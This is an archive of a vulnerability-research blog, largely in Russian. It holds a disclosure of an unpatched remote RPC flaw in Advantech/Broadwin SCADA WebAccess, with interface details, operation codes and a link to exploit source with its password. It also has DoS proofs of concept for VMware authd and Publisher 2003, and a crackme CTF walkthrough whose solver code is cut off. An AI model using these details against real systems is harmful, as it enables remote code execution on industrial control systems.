tag:blogger.com,1999:blog-83630792974396878172024-02-08T12:51:22.400-08:00Vulns discoveringВ блоге описываются различные темы в сфере исследования программного обеспечения на предмет уязвимостей.amisto0x07http://www.blogger.com/profile/06285845331018888566noreply@blogger.comBlogger6125tag:blogger.com,1999:blog-8363079297439687817.post-14736013041134453302012-02-03T12:27:00.000-08:002012-02-05T04:30:54.164-08:00Advantech/Broadwin HMI/SCADA WebAccess(6.x.x, 7.x.x) universal network RPC exploit.<h3>
<font color="#00cc00">Name:</font> Advantech/Broadwin HMI/SCADA WebAccess universal network RPC exploit.<br/>
<font color="#00cc00">Vendor:</font> Advantech; Broadwin Technology INC.<br/>
<font color="#00cc00">Software:</font> Advantech HMI/SCADA WebAccess; Broadwin HMI/SCADA WebAccess.<br/>
<font color="#00cc00">Affected version:</font> 6.x.x, 7.x.x.<br/>
<font color="#00cc00">Platform: </font> Windows based.<br/>
<font color="#00cc00">Type:</font> Remote, Server-Side.<br/>
<font color="#00cc00">Dangerous level: </font><font color="#bb0000">High</font><br/>
<font color="#00cc00">Initial discovery: </font>07/16/2011<br/>
<font color="#00cc00">Status:</font> Unpatched.<br/>
<font color="#00cc00">CVE: </font> None.<br/>
<font color="#00cc00">Credits: </font>amisto0x07, Z0mb1E.<br/>
</h3>
<br/>
<br/>
<h3>
<font color="#00cc00">[1] Description.</font>
</h3>
<br/>
Current implementations of HMI contain a bug that allows to use some system services on affected remote system such as creation of files and processes and modification of files. Interaction with HMI executes over RPC interface which allows to call system services.
<br/>
<br/>
/** iface.idl */
<br/>
/** webvrpcs.exe::sub_401000 allows to call system services such as <br/>
fopen, fclose, CreateProcess, find files. Also it allows <br/>
to interact with database by means of internal SQL-based methods <br/>
such as SQLExecute and others. */ <br/>
<br/>
void sub_401000 ( <br/>
[in] handle_t arg_1, /** rpc handle */ <br/>
[in] long arg_2, /** unique ptr to Connection object in memory of HMI process*/ <br/>
[in] long arg_3, /** code of operation (creation of files and etc) */ <br/>
[in] long arg_4, /** const value 1337 */ <br/>
[in][ref][size_is(arg_4)] char * arg_5, /** buffer with parameters for service */ <br/>
[in] long arg_6, /** sizeof buffer with parameters */ <br/>
[out][ref][size_is(arg_6)] char * arg_7, /** buffer for results */ <br/>
[out][ref] long * arg_8 /** variable for status indication */ <br/>
);
<br/>
The sub_403E30 is called during request handling. It directs the control into viewsrv.dll:VsDaqWebService routine or into drawsrv.dll::DsDaqWebService routine. First routine is called in case the type of client connection is 0. Second routine is called in case the type of client connection is 2. Both routines call specified system services depending on code of operation. For example, code (arg_3) must be 0x2779 in case of file creation request.
<br/>
<br/>
Before calling viewsrv.dll:VsDaqWebService (or drawsrv.dll::DsDaqWebService) the client connection object must be created on HMI by means of rpc method sub_4017C0. In other cases these methods aren't called.
<br/>
/** iface.idl */
<br/>
/** webvrpcs.exe::sub_4017C0 creates client connection object and</br>
returns unique pointer to created object */ <br/>
<br/>
void sub_4017C0 ( <br/>
[in] handle_t arg_1, /** rpc handle */ <br/>
[in] long arg_2, /** client connection object type, must be 0 */ <br/>
[out][ref][size_is(4)] char * arg_3, /** client data (may be empty) */ <br/>
[out][ref] long * arg_4 /** pointer to created connection object */ <br/>
); <br/>
<br/>
<br/>
<h3>
<font color="#00cc00">[2] Exploit.</font>
</h3>
<br/>
Currently exploit creates executable file and launches process on affected remote system.
<br/>
<a href="http://www.megafileupload.com/en/file/340312/webaccess-universal-exploit-rar.html">Download source codes of exploit.</a>
<br/> Password is webaccess.universal.exploit.rar@z%uxp!@#uzstxy!amisto0x07http://www.blogger.com/profile/06285845331018888566noreply@blogger.com1tag:blogger.com,1999:blog-8363079297439687817.post-14784749142115843672010-07-16T11:09:00.000-07:002010-07-16T11:46:28.331-07:00VMWareWorkstation 7.0.0 build-203739 vmware-authd.exe DoS PoC<h3><font color="#00cc00">Exploit Title:</font> VMWare-authd.exe DoS<br/>
<font color="#00CC00">Date:</font> 16.07.2010<br/>
<font color="#00cc00">Software Link:</font> <a href="http://vmware.com">http://vmware.com</a><br/>
<font color="#00cc00">Version:</font> VMWare Workstation 7.0.0 build-203739<br/>
<font color="#00cc00">Platform / Tested on:</font> Windows 7 Release Candidate<br/>
</h3>
The unhandled exception arises during processing input data which is sent to port 912. But before U must reset password for the __vmware_user__.<br/><br/>
Example:<br/>
Launch cmd.exe with admin privileges;<br/>
> net user __vmware_user__ NEW_PASS<br/>
> telnet 127.0.0.1 912<br/>
telnet> user __vmware_user__<br/>
telnet> pass NEW_PASS<br/>
telnet> connect_argv AAAA<br/><br/>
After them connection will be aborted.<br/>
There is debug-session:<br/><br/>
<code><font color="#eeeeee">
text:00407378 lea eax, [ebp+ppSZ] ;(==0) <br/>
text:0040737B push eax <br/>
text:0040737C lea ecx, [ebp+var_C] <br/>
text:0040737F push ecx <br/>
text:00407380 lea edx, [ebp+Memory] <br/>
text:00407383 push edx <br/>
text:00407384 lea eax, [ebp+pCmd] ; "connect_argv\x20\x20AAAA\x00\x0A" <br/>
text:0040738A push eax <br/>
text:0040738B mov [ebp+var_1], 0 <br/>
text:0040738F call vm_authd_CheckArgs_CONNECT_ARGV <br/>
text:00407394 mov esi, [ebp+var_C] <br/>
text:00407397 mov ebx, [ebp+ppSZ] ; is NULL. <br/>
...<br/>
</font>
<font color="#cc3300">
text:0040745D mov eax, [ebx] ; (ebx == 0) => APPCRASH <br/>
</font>
<font color="#eeeeee">
text:0040745F push eax ; Memory <br/>
text:00407460 call esi ; free <br/>
</font>
<code>amisto0x07http://www.blogger.com/profile/06285845331018888566noreply@blogger.com1tag:blogger.com,1999:blog-8363079297439687817.post-12912468404045521662010-07-16T09:34:00.000-07:002011-04-14T11:37:14.272-07:00Microsoft Office Publisher 2003 SP3 ptxt9.dll memmove() DoS vulnСобственно очередная уязвимость в продукте(ах) от Microsoft Office Publisher 2003 c Service Pack 3.
Уязвимость заключается в отсутствии достаточной проверки длины блока данных, перемещаемого из одной области вирт.памяти в др. область виртуальной памяти. Блок описывает временный *.tmp файл (назовем блок TEMP_MOD), который содержит вхождения модификаций файла публикации. Вот сам блок TEMP_MOD (точнее его часть):<br/>
<code><br/>
00004E00 | E8 AC 2C 00 E8 03 06 01 A0 2F 00 00 13 00 00 01 è¬,.è... /......<br/>
00004E10 | 00 00 00 00 00 00 00 00 00 00 56 29 00 00 DC 00 ..........V)..Ü.<br/>
00004E20 | 00 00 0A 00 0B 00 00 00 00 00 00 00 B0 00 00 00 ............°...<br/>
00004E30 | 01 18 E8 AC 02 68 00 01 00 00 03 20 13 00 E8 03 ..è¬.h..... ..è.<br/>
00004E40 | 04 20 13 00 E8 03 05 20 0E 00 E8 03 07 20 0E 00 . ..è.. ..è.. ..<br/>
00004E50 | E8 03 08 20 A0 2F 00 00 09 C0 |66| 00 00 00 43 00 è.. /...Àf...C.<br/>
00004E60 | 3A 00 5C 00 55 00 73 00 65 00 72 00 73 00 5C 00 :.\.U.s.e.r.s.\.<br/>
00004E70 | 41 00 41 00 41 00 41 00 41 00 41 00 7E 00 31 00 A.A.A.A.A.A.~.1.<br/>
00004E80 | 5C 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 \.A.p.p.D.a.t.a.<br/>
00004E90 | 5C 00 4C 00 6F 00 63 00 61 00 6C 00 5C 00 54 00 \.L.o.c.a.l.\.T.<br/>
00004EA0 | 65 00 6D 00 70 00 5C 00 70 00 75 00 62 00 32 00 e.m.p.\.p.u.b.2.<br/>
00004EB0 | 34 00 33 00 38 00 2E 00 74 00 6D 00 70 00 00 00 4.3.8...t.m.p...<br/>
00004EC0 | 0A B8 56 29 00 00 0B B8 DC 00 00 00 0C 18 01 00 .¸V)...¸Ü.......<br/>
00004ED0 | 0D 20 E6 1F 00 00 0E 20 E6 1F 00 00 10 0E 00 00 . æ.... æ.......<br/>
00004EE0 | 01 20 84 00 00 00 02 20 13 00 E8 03 03 90 FE 0D . „.... ..è...þ.<br/>
</CODE>
Невалидные данные располагются по смещению 0х00004E5A: 4 байта \x66\x00\x00\x00,
которые определяют длину блока TEMP_MOD. Это значение обрабатывается следующим образом:
<code>
...
memmove(pvAllocatedMemory, pvTEMP_MOD_entry, dwSize);
...
</CODE>
Здесь dwSize и есть то самое значение по смещению 0х00004E5A. Таким образом, указав достаточно большое значение (на моей лабораторной установке dwSize >= 0x0002F0B4), получим, что программа попытается не только сам блок TEMP_MOD, но и все, что располагается ниже (в сторону старших адресов). Вот так обрабатывает ptxt9.dll это вхождение:
<code>
3007356E PUSH EAX ; <-- невалидный размер блока для перемещения.<br/>
3007356F ADD ESI,6 ; <-- откуда коприуем.<br/>
30073572 PUSH ESI <br/>
30073573 PUSH EBX ; <-- куда копируем.<br/>
30073574 CALL MSVCRT.memmove>]<br/>
</code>
Собственно, уязвимость не поддается эксплуатации. Так что видим чистой воды DoS.<br/>
Link на образец(пароль lenta) <a href="http://rapidshare.com/files/407314799/fff.rar">sample</a>amisto0x07http://www.blogger.com/profile/06285845331018888566noreply@blogger.com0tag:blogger.com,1999:blog-8363079297439687817.post-80318427174396557012010-06-12T03:51:00.000-07:002010-06-12T10:45:42.741-07:00CTF: Подробное решение квеста crackme.com/** Positive Technologes for Positive People! CTF preview. **/
<br />
<br />Собственно, рассмотрим крякмис от Positive Technologies, суть которого заключается в поиске логина и пароля, на основе которого расшифровывается строка "Positive Technologes for Positive People! CTF preview". Тест представлен ввиде MSDOS- приложения crackme.com (см. архив).
<br />
<br />При запуске программа просит ввести логин и пароль, после чего проводит некоторую обработку и выводит расшифрованную строку на экран. Банальный брут здесь не эффективен, поэтому следует погрузиться в недры теста и провести некоторую рекогносцировку, чем собственно и займемся. И так:
<br />
<br /><CODE>
<br />start_0 proc near ; CODE XREF: start
<br />seg000:06AD
<br />seg000:06AD loginlen = word ptr -8
<br />seg000:06AD iter = word ptr -6
<br />seg000:06AD xored_login_add_1= word ptr -4
<br />seg000:06AD var_2 = byte ptr -2
<br />seg000:06AD
<br />seg000:06AD enter 8, 0
<br />seg000:06B1 push 76Eh ; offset of "login:"
<br />seg000:06B4 call printf
<br />seg000:06B7 add sp, 2
<br />seg000:06BA mov [bp+loginlen], 0
<br />seg000:06BF loc_106BF: ; CODE XREF: start_0+2B
<br />seg000:06BF call read_key
<br />seg000:06C2 mov si, [bp+loginlen]
<br />seg000:06C5 mov [si+79Ah], al
<br />seg000:06C9 call echo_key
<br />seg000:06CC inc [bp+loginlen]
<br />seg000:06CF cmp [bp+loginlen], 0FFh
<br />seg000:06D4 jge short loc_106DA
<br />seg000:06D6 cmp al, 0Dh
<br />seg000:06D8 jnz short loc_106BF
<br />seg000:06DA loc_106DA: ; CODE XREF: start_0+27
<br />seg000:06DA mov al, 0Ah
<br />seg000:06DC call echo_key
<br />seg000:06DF dec [bp+loginlen]
<br />seg000:06E2 mov si, [bp+loginlen]
<br />seg000:06E5 mov byte ptr [si+79Ah], 0
<br />seg000:06EA push large 0
<br />seg000:06ED pop large [dword_10420]
<br />seg000:06F2 mov [bp+iter], 0
<br />seg000:06F7 loc_106F7: ; CODE XREF: start_0+65
<br />seg000:06F7 mov ax, [bp+loginlen]
<br />seg000:06FA cmp [bp+iter], ax
<br />seg000:06FD jge loc_10714
<br />seg000:0701 mov si, [bp+iter]
<br />seg000:0704 movsx eax, byte ptr [si+79Ah]
<br />seg000:070A xor dword_10420, eax
<br />seg000:070F inc [bp+iter]
<br />seg000:0712 jmp short loc_106F7
<br />seg000:0714 loc_10714: ; CODE XREF: start_0+50
<br />seg000:0714 and dword_10420, 10h
<br />seg000:071A push 775h ; offset "password:"
<br />seg000:071D call printf
<br />seg000:0720 add sp, 2
<br />seg000:0723 mov [bp+iter], 0
<br />seg000:0728 mov ax, word ptr dword_10420 ; xored login
<br />seg000:072B inc ax
<br />seg000:072C mov [bp+xored_login_add_1], ax
<br />seg000:072F loc_1072F: ; CODE XREF: start_0+A3
<br />seg000:072F call read_key
<br />seg000:0732 mov [bp+var_2], al
<br />seg000:0735 mov al, [bp+var_2]
<br />seg000:0738 mov si, [bp+iter]
<br />seg000:073B mov [si+424h], al
<br />seg000:073F mov ax, [bp+xored_login_add_1]
<br />seg000:0742 cmp [bp+iter], ax
<br />seg000:0745 jge loc_1074C
<br />seg000:0749 inc [bp+iter]
<br />seg000:074C loc_1074C: ; CODE XREF: start_0+98
<br />seg000:074C cmp [bp+var_2], 0Dh
<br />seg000:0750 jnz short loc_1072F
<br />seg000:0752 push 442h
<br />seg000:0755 push 89Ah
<br />seg000:0758 push 37h
<br />seg000:075A push 424h
<br />seg000:075D call stream_decode@8
<br />seg000:0760 push 89Ah
<br />seg000:0763 push 77Fh
<br />seg000:0766 call printf
<br />seg000:0769 add sp, 4
<br />seg000:076C leave
<br />seg000:076D retn
<br />seg000:076D start_0 endp
<br /></CODE>
<br />
<br />В начале программа читает логин до тех пор, пока не будет введен 0x0D (по нашему клавиша Enter) или не будет достигнута максимальная длина логина. После ввода логина программа последовательно XOR-ит каждый последущий символ логина:
<br />
<br /><CODE>
<br />seg000:06F7 mov ax, [bp+loginlen]
<br />seg000:06FA cmp [bp+iter], ax
<br />seg000:06FD jge loc_10714
<br />seg000:0701 mov si, [bp+iter]
<br />seg000:0704 movsx eax, byte ptr [si+79Ah]
<br />seg000:070A xor dword_10420, eax
<br />seg000:070F inc [bp+iter]
<br />seg000:0712 jmp short loc_106F7
<br /></CODE>
<br />
<br />Говоря на языке C конструкция выглядит так:
<br />
<br /><CODE>
<br />extern unsigned char login[0xFF];
<br />extern DWORD login_xored_0x0420;
<br />extern unsigned char password_0x0424[0x10+1];
<br />
<br />extern DWORD namelen;
<br />for ( login_xored_0x0420 =0 , i=0; i < loginlen; i++ )
<br />{
<br /> login_xored_0x0420 = login_xored_0x0420 ^ (DWORD)(login[i]);
<br />}
<br /></CODE>
<br />
<br />После чего на XOR-еный логин накладывает маску ввиде AND login_xored_0x0420, 0x10. По сути, dw_0x0420 определеяет длину вводимого пароля, что мы и увидим ниже, а на данный момент достаточно выполнения условия, что (XOR(login)) AND 0x10 == 0x10.
<br />
<br />Далее читается пароль, длиной которого является значение dw_0x0420. Сам пароль размещается сразу за login_xored_0x0420 по смещению 0x0424. После того, как пароль считан, вызывается нечто:
<br />
<br /><CODE>
<br />seg000:0752 push 442h ; arg_3 пока неизвестно
<br />seg000:0755 push 89Ah ; arg_2 пока неизвестно
<br />seg000:0758 push 37h ; arg_1 пока неизвестно
<br />seg000:075A push 424h ; arg_0 пока неизвестно
<br />seg000:075D call stream_decode@8
<br /></CODE>
<br />
<br />Названа stream_decode@8 таковой потому, что больше собственно расшифровывать текст в квесте некому. Для начала хотелось бы понять, что за параметры она принимает. При анализе кода start, stream_decode@8 выясняется, что:
<br />
<br /> arg_0==0х0424 - адрес пароля
<br /> arg_1==0x0037 - длина результирующей строки
<br /> arg_2==0х089A - адрес строки, выводимой на экран как результат.
<br /> arg_3==0х0442 - адрес вот такого массива:
<br /> unsigned char Mask[] = {
<br /> 0x34, 0x69, 0xDB, 0xB8, 0x87, 0xB1, 0x7C, 0x3A, 0xE1, 0x4C,
<br /> 0x4F, 0x46, 0x37, 0x20, 0x44, 0x75, 0x29, 0x1B, 0x9F, 0x86,
<br /> 0x74, 0x16, 0xCD, 0x40, 0x38, 0x0F, 0x03, 0x22, 0x4E, 0x52,
<br /> 0x4F, 0x65, 0xF2, 0x44, 0xF2, 0x76, 0xA6, 0xE3, 0x5E, 0x3A,
<br /> 0x70, 0x16, 0x81, 0x73, 0x8A, 0x4C, 0x51, 0x12, 0xDB, 0xBF,
<br /> 0x72, 0xE4, 0x52, 0x81, 0x06
<br /> };
<br />
<br /><CODE>
<br />Отбросим мусор в stream_decode@8 и выделим код, который несет нагрузку:
<br />; arg_pass_value адрес пароля (==0х0424)
<br />; arg_output_length в качестве (==0x0037)
<br />; arg_out_string адрес результирующей строки (==0х089A)
<br />; arg_pMask адрес массива Mask (==0х0442)
<br />; var_Iter в качестве итератора (принимает значения от 0 до arg_output_length)
<br />; offset_of_pointer как некоторое значение, которое косвенно определяет позиции символов, расшифровываемых
<br />; на каждом этапе итерации (рассмотрим ниже, как к этому пришли)
<br />; var_decoded_char промежуточное значение, которое было получено в результате вызова
<br />; decode_current_char@8
<br />;
<br />seg000:056B mov ax, [bp+arg_output_length] ;
<br />seg000:056E mov [bp+offset_of_pointer], ax
<br />...
<br />seg000:061D loc_1061D:
<br />seg000:061D mov [bp+var_Iter], 0
<br />seg000:0623 loc_10623: ; CODE XREF: stream_decode@8+1BC
<br />seg000:0623 mov ax, [bp+arg_output_length]
<br />seg000:0626 cmp [bp+var_Iter], ax
<br />seg000:062A jge locret_106A9
<br />... ;
<br />... ; МУСОР
<br />... ;
<br />seg000:0640 push [bp+offset_of_pointer]
<br />seg000:0644 push [bp+arg_pass_value] ; 0x0424
<br />seg000:0647 call decode_current_char@8
<br />seg000:064A mov [bp+var_decoded_char], al
<br />... ;
<br />... ; МУСОР
<br />... ;
<br />seg000:0660 mov si, [bp+arg_pMask]
<br />seg000:0663 add si, [bp+var_Iter]
<br />seg000:0667 mov al, [si]
<br />seg000:0669 xor al, [bp+var_decoded_char]
<br />seg000:066D mov si, [bp+arg_out_string] ; 0x089A
<br />seg000:0670 add si, [bp+var_Iter] ; current iter
<br />seg000:0674 mov [si], al
<br />... ;
<br />... ; МУСОР
<br />... ;
<br />seg000:0683 movzx ax, [bp+var_decoded_char]
<br />seg000:0688 add ax, [bp+var_Iter]
<br />seg000:068C mov [bp+offset_of_pointer], ax
<br />... ;
<br />... ; МУСОР
<br />... ;
<br />seg000:06A2 inc [bp+var_Iter]
<br />seg000:06A6 jmp loc_10623
<br />seg000:06A9 locret_106A9: ; CODE XREF: stream_decode@8+140
<br />seg000:06A9 leave
<br />seg000:06AA retn 8
<br /></CODE>
<br />
<br />В языке С эта функция выглядит примерно так:
<br />
<br /><CODE>
<br />extern unsigned char decode_current_char ( char * sz_password_in , unsigned short offset_of_pointer_in ) ;
<br />
<br />void decode_stream (
<br /> __in char * sz_password_in ,
<br /> __in unsigned short length_in ,
<br /> __out char *sz_result_string_in ,
<br /> __in unsigned char * mask_in
<br /> )
<br />{
<br /> unsigned short offset_of_pointer = length_in ;
<br /> unsigned char var_decoded_char ;
<br />
<br /> for ( unsigned short Iter = 0 ; Iter < length_in ; Iter++ )
<br /> {
<br /> var_decoded_char = decode_current_char ( sz_password_in , offset_of_pointer ) ;
<br /> sz_result_string_in[Iter] = var_decoded_char ^ mask_in[Iter] ;
<br /> offset_of_pointer = Iter + (unsigned short)var_decoded_char ;
<br /> }
<br /> return;
<br />}
<br /></CODE>
<br />
<br />Из нее следует подчерпнуть следующую информацию, а именно: во время XOR-а var_decoded_char и элемента массива Mask на каждом шаге итерации мы получаем конечное значение символа разшифровываемой строки. Исходя из этого, мы можем построить массив "правильных" значений (назовем его result_before_xor) var_decoded_char для каждого символа конечной строки "Positive Technologes for Positive People! CTF preview":
<br />
<br /><CODE>
<br />unsigned char result_before_xor[0x37];
<br />char * result = "Positive Technologes for Positive People! CTF preview.";
<br />for (int i=0; i < 0x37 ; i++ )
<br />{
<br /> result_before_xor[i] = result[i] ^ Mask[i]; // Mask определен выше
<br />}
<br /></CODE>
<br />
<br />Получается нечто, похожее на:
<br /><CODE>
<br />unsigned char result_before_xor[0x37] =
<br />{
<br /> 0x64, 0x06, 0xa8, 0xd1, 0xf3, 0xd8, 0x0a, 0x5f,
<br /> 0xc1, 0x18, 0x2a, 0x25, 0x5f, 0x4e, 0x2b, 0x19,
<br /> 0x46, 0x7c, 0xfa, 0xf5, 0x54, 0x70, 0xa2, 0x32,
<br /> 0x18, 0x5f, 0x6c, 0x51, 0x27, 0x26, 0x26, 0x13,
<br /> 0x97, 0x64, 0xa2, 0x13, 0xc9, 0x93, 0x32, 0x5f,
<br /> 0x51, 0x36, 0xc2, 0x27, 0xcc, 0x6c, 0x21, 0x60,
<br /> 0xbe, 0xc9, 0x1b, 0x81, 0x25, 0xaf, 0x26
<br />};
<br /></CODE>
<br />
<br />И так, мы знаем каждое значение для верного пароля, которое будет на выходе функции decode_current_char@8. Нам остается создать функцию, гипотетически обратную функции decode_current_char@8. Поясню: есть функция Yi = F(X1,Xi2), которой по сути является decode_current_char, тогда нужно создать такую функцию Z, что a = Z(F(X1,Xi2)), где а - символ (один или более) пароля. Следовательно, рассмотрим алгоритм decode_current_char@8. При создании функции Z следует обратить внимание на то, возможно ли сделать инверсию алгоритма или нет. Смотрим:
<br />
<br /><CODE>
<br />seg000:0479 decode_current_char proc near ; CODE XREF: stream_decode@16+15D
<br />seg000:0479
<br />seg000:0479 poisition_in_pass = dword ptr -6
<br />seg000:0479 pair_chars_of_pass = word ptr -2
<br />seg000:0479 arg_sz_pass_value = word ptr 4
<br />seg000:0479 offset_of_pointer = word ptr 6
<br />seg000:0479
<br />seg000:0479 enter 6, 0
<br />seg000:047D movsx eax, [bp+arg_offset_of_pointer]
<br />seg000:0482 shr eax, 3
<br />seg000:0486 mov [bp+poisition_in_pass], eax
<br />seg000:048A and [bp+offset_of_pointer], 7
<br />seg000:048E loc_1048E: ; CODE XREF: decode_current_char+29
<br />seg000:048E mov eax, dword_10420
<br />seg000:0492 cmp [bp+poisition_in_pass], eax
<br />seg000:0496 jb loc_104A4
<br />seg000:049A mov eax, dword_10420
<br />seg000:049E sub [bp+poisition_in_pass], eax
<br />seg000:04A2 jmp short loc_1048E
<br />seg000:04A4 loc_104A4: ; CODE XREF: decode_current_char+1D
<br />seg000:04A4 mov si, [bp+arg_sz_pass_value]
<br />seg000:04A7 add si, word ptr [bp+poisition_in_pass]
<br />seg000:04AA movzx ax, byte ptr [si]
<br />seg000:04AD mov [bp+pair_chars_of_pass], ax
<br />seg000:04B0 inc [bp+poisition_in_pass]
<br />seg000:04B4 mov eax, dword_10420
<br />seg000:04B8 cmp [bp+poisition_in_pass], eax
<br />seg000:04BC jb loc_104C8
<br />seg000:04C0 mov eax, dword_10420
<br />seg000:04C4 sub [bp+poisition_in_pass], eax
<br />seg000:04C8 loc_104C8: ; CODE XREF: decode_current_char+43
<br />seg000:04C8 mov si, [bp+arg_sz_pass_value]
<br />seg000:04CB add si, word ptr [bp+poisition_in_pass]
<br />seg000:04CE movzx ax, byte ptr [si]
<br />seg000:04D1 shl ax, 8
<br />seg000:04D4 or [bp+pass_char], ax
<br />seg000:04D7 inc [bp+poisition_in_pass]
<br />seg000:04DB mov cl, byte ptr [bp+offset_of_pointer]
<br />seg000:04DE shr [bp+pair_chars_of_pass], cl
<br />seg000:04E1 mov al, byte ptr [bp+pair_chars_of_pass]
<br />seg000:04E4 and al, 0FFh
<br />seg000:04E6 leave
<br />seg000:04E7 retn 4
<br />seg000:04E7 decode_current_char endp
<br /></CODE>
<br />
<br />Сперва определяется стартовая позиция символов пароля, на основе которых будет расшифровываться очередной символ зашифрованной строки.Сделует отметить, что каждый символ зашифрованной строки расшифровывается на основе двух соседних символов пароля, позиция первого символа задается вычисляемым значением poisition_in_pass. В случае если poisition_in_pass является последним символом в пароле, то в качестве второго символа задействуется нулевой символ пароля. Последовательность действий следующая:
<br />-1- получить смещение пары символов пароля, на основе которых строится символ расшифровываемый строки (точнее символ из масиива result_before_xor[]- его мы определили ранее). Обозначим смещение как i.
<br />-2- определить число битов для сдвига для "спаренного" значения двух соседних символов пароля. Обозначим как shifter.
<br />-3- извлечь i-ый символ пароля как S1.
<br />-4- извлечь ((i+1)&0x10)-ый символ пароля и сдвинуть его значение нв 8 бит влево. Обозначим рез-т как S2.
<br />-5- произвести операцию OR на элементами из п.4 и п.5 (RES1 = OR(S2,S1))
<br />-6- сдвинуть вправо результат из п.5 на количество битов, определенное в п.2 (RES2 = RES1 >> shifter)
<br />-7- взять младший байт из результата п.6 и вернуть. (return LOWBYTE(RES2))
<br />
<br />Стоит отметить один важную особенность алгоритма: ЕСЛИ ЗНАЧЕНИЕ shifter НУЛЕВОЕ, ТО РЕЗУЛЬТИРУЮЩИЙ БАЙТ ЯВЛЯЕТСЯ ПЕРВЫМ СИМВОЛОМ ИЗ ПАРЫ СИМВОЛОВ ПАРОЛЯ. Эта особенность позволяет сразу выявить без предварительного анализа некоторые символы пароля.
<br />Теперь построим обратный алгоритм. Вспомним массив Mask[]. Там каждый элемент является усечением результата pair_chars_of_pass, то есть выполнимо тождество:
<br />
<br /><CODE>
<br />mask[i] == (unsigned char)pair_chars_of_pass. Здесь pair_chars_of_pass имеет тип unsigned short.
<br /></CODE>
<br />
<br />
<br />Теперь ВАЖНЫЙ МОМЕНТ: мы помним как вычисляется значение offset_of_pointer: как сумма результирующего байта var_decoded_char и значения Iter (если придерживаться 'C'-версии функции decode_stream), причем для Iter==0 offset_of_pointer==0x0037. Таким образом мы знаем значения и arg_offset_of_pointer, и poisition_in_pass (из участка кода, представляющего ф-цию decode_current_char). Будем использовать три входных параметра:
<br />I-значение итерации,
<br />Res - I-ый байт из массива mask[],
<br />offset_of_pointer- расчитываемое значение смещения первого используемого символа пароля.
<br />
<br />При этом для offset_of_pointer действует следующая зависимость:
<br />offset_of_pointer(i) = Res(i-1) + i;
<br />Теперь осталось построить функционал преобразования этих трех параметров, который выплюнет нам на выходе конечный символ пароля или некотороую битовую составляющую, которая обязательно должна быть представлена в символе пароля.
<br />В этом алгоритме самым важных пожалуй будет получить значение pair_chars_of_pass (назовем его как Ored) до опереции:
<br />
<br /><CODE>
<br />...
<br />seg000:04DE shr [bp+pair_chars_of_pass], cl
<br />...
<br /></CODE>
<br />
<br />где cl == (offset_of_pointer(i) & 7).
<br />А значение Ored определим как результат операции, обратной к операции по адресу seg000:04DE, то есть
<br />Ored(i) = Res(i) << (offset_of_pointer(i) & 7).
<br />Согласен с тем, что Ored(i) может не содержать полного представления двух символов пароля, поскольку мы обладаем только усеченным значением pair_chars_of_pass:
<br />
<br /><CODE>
<br />seg000:04E1 mov al, byte ptr [bp+pair_chars_of_pass]
<br />seg000:04E4 and al, 0FFh
<br /></CODE>
<br />
<br />И следовательно первый символ символьной пары из пароля есть как LOWBYTE(Ored(i)), а второй HIGHBYTE(Ored(i)).
<br />Ранее было выявлено очень важное свойство алгоритма: если значение (offset_of_pointer(i) & 7) равно нулю, то получаем 100% правильное значение 1-го символа из парольной пары. По остальным символам можно поступить следующим образом: если "светится" очердная позиция символа пароля, то значение этого символа можно определить как
<br />password[i] = password[i] | LOWBYTE(Ored(i))
<br />password[i+1] = password[i+1] | HIGHBYTE(Ored(i)).
<br />Позиции символов мы расчитваем так же как они представлены в функции decode_current_char.
<br />
<br />После переноса рассуждений и умозаключений в программную реализацию получаем следующий пароль (звездочкой помечены те символы пароля, которые были вычислены на основе равенства нулю результата выражения offset_of_pointer(i) & 7):
<br />pass[0] = '@';
<br />pass[1] = 'T'; // *
<br />pass[2] = '_'; // *
<br />pass[3] = 'B';
<br />pass[4] = 'T';
<br />pass[5] = 'F'; // *
<br />pass[6] = '_'; // *
<br />pass[7] = '2'; // *
<br />pass[8] = '0';
<br />pass[9] = '1';
<br />pass[0xA] = '0';
<br />pass[0xB] = '_'; // *
<br />pass[0xC] = 'a';
<br />pass[0xD] = 'p'; // *
<br />pass[0xE] = '2';
<br />pass[0xF] = 'l'; // *
<br />Как вы могли заметить, логин определяет только размер пароля: либо 0х10 символов, либо 0 (во втором случае программа не вернет вам управление). Считайте, что логин явялется флагом, определяющим возможность дальнейшей обработки ввода.
<br />
<br />А вот код программы на закуску:
<br />
<br /><CODE>
<br />#include "windows.h"
<br />#include <stdio.h>
<br />
<br />#define STREAM_LENGTH 55
<br />
<br />// расшифрованная строка
<br />unsigned char *stream_decoded = "Positive Technologes for Positive People! CTF preview.";
<br />
<br />unsigned char stream_mask[STREAM_LENGTH] = {
<br /> 0x34, 0x69, 0xDB, 0xB8, 0x87, 0xB1, 0x7C, 0x3A, 0xE1, 0x4C, 0x4F, 0x46, 0x37, 0x20, 0x44, 0x75,
<br /> 0x29, 0x1B, 0x9F, 0x86, 0x74, 0x16, 0xCD, 0x40, 0x38, 0x0F, 0x03, 0x22, 0x4E, 0x52, 0x4F, 0x65,
<br /> 0xF2, 0x44, 0xF2, 0x76, 0xA6, 0xE3, 0x5E, 0x3A, 0x70, 0x16, 0x81, 0x73, 0x8A, 0x4C, 0x51, 0x12,
<br /> 0xDB, 0xBF, 0x72, 0xE4, 0x52, 0x81, 0x06
<br />};
<br />
<br />unsigned char stream_unXORed[STREAM_LENGTH];
<br />
<br />#define PASSWORD_LEN 0x10
<br />unsigned char password[PASSWORD_LEN];
<br />
<br />
<br />int main(int argc, char **argv)
<br />{
<br /> for (int i=0;i<STREAM_LENGTH; i++)
<br /> {
<br /> stream_unXORed[i] = stream_decoded[i] ^ stream_mask[i];
<br /> }
<br />
<br /> memset(password,0, PASSWORD_LEN);
<br />
<br /> for (int t = 0x02 ;t<STREAM_LENGTH-2; t++)
<br /> {
<br /> unsigned char res_prev = stream_unXORed[t];
<br /> unsigned char res_t = stream_unXORed[t+1];
<br /> unsigned char It = res_prev + t;
<br /> unsigned short unkn=0, ored=0;
<br /> unsigned char ored_high=0, ored_low=0;
<br /> unsigned int shifter=0; // вычисляемая позиция первого символа из пары символов пароля
<br />
<br /> __asm {
<br /> pushad
<br /> xor eax,eax
<br /> mov al, It
<br /> shr eax, 3
<br /> mov shifter, eax
<br /> popad
<br /> }
<br /> unkn = (unsigned short)(It)&0x7;
<br /> while(shifter>=0x10)
<br /> {
<br /> shifter -= 0x10;
<br /> }
<br /> __asm
<br /> {
<br /> pushad
<br /> xor eax, eax
<br /> xor ecx, ecx
<br /> mov al, res_t
<br /> mov cx, unkn
<br /> shl eax, cl
<br /> mov ored, ax
<br /> mov ored_low, al
<br /> mov ored_high, ah
<br /> popad
<br /> }
